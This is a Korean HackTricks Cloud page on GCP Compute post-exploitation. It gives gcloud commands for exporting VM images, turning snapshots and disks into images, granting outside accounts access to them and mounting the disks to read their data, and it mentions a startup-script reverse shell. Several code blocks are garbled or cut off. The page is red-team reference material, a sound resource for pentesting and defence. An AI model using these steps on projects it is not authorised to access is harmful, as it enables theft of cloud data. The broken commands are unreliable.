GCP - Compute Post Exploitation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Compute
Compute와 VPC (Networking)에 대한 자세한 내용은 다음을 확인하세요:
이미지 로컬로 내보내기 및 검사
이를 통해 공격자는 이미 존재하는 이미지에 포함된 데이터에 접근하거나 실행 중인 VM의 새로운 이미지를 생성하여 실행 중인 VM에 직접 접근하지 않고도 해당 데이터에 접근할 수 있습니다.
VM 이미지를 bucket으로 내보내고 다운로드한 뒤 다음 명령어로 로컬에 마운트할 수 있습니다:
VM 이미지 내보내기 및 다운로드
```bash gcloud compute images export --destination-uri gs://이 작업을 수행하려면 공격자가 storage bucket에 대한 권한이 필요할 수 있으며, 확실히 cloudbuild에 대한 권한이 필요합니다. 왜냐하면 export를 수행하도록 요청받을 service가 바로 cloudbuild이기 때문입니다.
또한, 이것이 작동하려면 codebuild SA와 compute SA에 특권 권한이 필요합니다.
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com 에게 필요한 권한:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
그리고 SA <project-id>-compute@developer.gserviceaccount.com 에게 필요한 권한:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Export & Inspect Snapshots & Disks locally
snapshot과 disk를 직접 내보내는 것은 불가능하지만, snapshot을 disk로, disk를 image로 변환한 다음 이전 섹션에 따라 해당 이미지를 내보내 로컬에서 검사할 수 있습니다
snapshot에서 disk 생성하고 disk에서 image 생성
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Image로 VM 생성 검사
공격자가 **이미지를 생성한** 위치에 있는 **image에 저장된 데이터** 또는 **실행 중인 VM** 내부의 데이터에 접근하려는 목적이라면, 외부 계정에 해당 image에 대한 접근 권한을 부여할 수 있습니다:
<details>
<summary>image에 접근 권한 부여 및 VM 생성</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
그리고 나서 그 이미지에서 새 VM을 생성합니다:
이미지에서 VM instance 생성
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```외부 계정에 image에 대한 접근 권한을 부여할 수 없다면, 피해자 프로젝트에서 해당 image로 VM을 실행하고 metadata가 reverse shell을 실행하도록 하여 image에 접근할 수 있습니다. param을 추가하세요:
metadata에 reverse shell을 담은 VM 생성
```bash --metadata startup-script='#! /bin/bash echo "hello";VM에 연결하여 Snapshot/Disk 검사
디스크 또는 snapshot에 저장된 데이터에 접근하기 위해, snapshot을 disk로 변환하거나 disk를 image로 변환한 다음 이전 단계를 따르면 됩니다.
또는 disk에 대해 외부 계정에 접근 권한을 부여할 수 있습니다 (시작점이 snapshot인 경우 snapshot에 권한을 부여하거나 snapshot에서 disk를 생성하세요):
disk에 대한 접근 권한 부여
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```디스크를 인스턴스에 연결:
인스턴스에 디스크 연결
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```VM 내부에 디스크를 마운트합니다:
- VM에 SSH로 접속:
SSH로 VM에 접속하고 디스크 마운트
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- 디스크 식별: VM에 접속한 후, 디스크 장치를 나열하여 새 디스크를 확인합니다. 일반적으로
/dev/sdb,/dev/sdc등으로 나타납니다. - 디스크 포맷 및 마운트 (새 디스크이거나 raw인 경우):
- 마운트 지점 생성:
마운트 지점 생성 및 마운트
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- 디스크 마운트:
디스크 장치 마운트
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
스냅샷이나 디스크에 외부 프로젝트에 접근 권한을 줄 수 없는 경우, 스냅샷/디스크가 있는 동일한 프로젝트의 인스턴스 내부에서 이 작업을 수행해야 할 수 있습니다.
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

